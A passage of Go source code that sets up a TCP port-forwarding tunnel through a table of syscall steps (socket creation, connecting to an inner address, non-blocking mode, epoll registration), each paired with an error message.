			return syscall.EpollCtl(epollFd, syscall.EPOLL_CTL_ADD, tc.EFd, &syscall.EpollEvent{Events: syscall.EPOLLIN | syscall.EPOLLOUT, Fd: int32(tc.EFd)})
		}},
	{
		ErrFmt: "Port [%d] create new socket error [%s]",
		Action: func(tc *TunnelConn) (err error) {
			tc.IFd, err = syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, syscall.IPPROTO_TCP)
			return
		}},
	{
		ErrFmt: "Port [%d] connect to inner port error [%s]",
		Action: func(tc *TunnelConn) (err error) {
			t := tc.RelTunnel
			return syscall.Connect(tc.IFd, &syscall.SockaddrInet4{Port: int(t.IPort), Addr: [4]byte{t.IIp[12], t.IIp[13], t.IIp[14], t.IIp[15]}})
		}},
	{
		ErrFmt: "Port [%d] set inner fd nonblock error [%s]",
		Action: func(tc *TunnelConn) (err error) {
			return syscall.SetNonblock(tc.IFd, true)
		}},
	{
		ErrFmt: "Port [%d] add inner fd to epoll error [%s]",
		Action: func(tc *TunnelConn) (err error) {
			return syscall.EpollCtl(epollFd, syscall.EPOLL_CTL_ADD, tc.IFd, &syscall.EpollEvent{Events: syscall.EPOLLIN | syscall.EPOLLOUT, Fd: int32(tc.IFd)})
		}},
	{
		ErrFmt: "Port [%d] set outer fd rcvbuf size error [%s]",
		Action: func(tc *TunnelConn) (err error) {
			// Set rcvbuf to the minimum size of system 2KB, the kernel will double it automatically